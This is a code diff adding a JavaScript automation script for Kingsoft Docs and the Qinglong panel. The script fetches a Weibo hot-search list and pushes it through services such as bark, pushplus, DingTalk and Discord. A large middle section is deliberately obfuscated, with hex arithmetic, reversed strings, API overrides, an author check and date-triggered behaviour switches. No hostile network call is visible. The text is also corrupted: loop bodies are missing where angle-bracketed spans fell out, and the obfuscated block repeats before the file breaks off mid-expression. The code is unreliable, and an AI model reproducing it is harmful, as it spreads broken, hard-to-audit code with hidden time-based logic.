+ posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/wb_hot?limit=5" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + let lines = content.split('\n'); + let formattedContent = ''; + for(let line of lines) { + // let match = line.match(/^(\d+),\s*(.+?)\.\s*(\d+\.?\d*万)$/); + // let match = line.match(/^(\d+),\s*([^\u0000-\u007F]+.+?)\.\s*(\d+\.?\d*万)$/); + let match = line.match(/^(\d+),\s*(.+?)(\d+\.?\d*万)$/); + // console.log(match) + if(match) { + let [, rank, title, heat] = match; + // console.log(`${rank}. ${title} 🔥${heat}\n`) + formattedContent += `${rank}. ${title} 🔥${heat}\n`; + } + } + + messageSuccess += formattedContent + // console.log(messageSuccess) + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + // flag_pushdirect = "否" // 测试 + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return 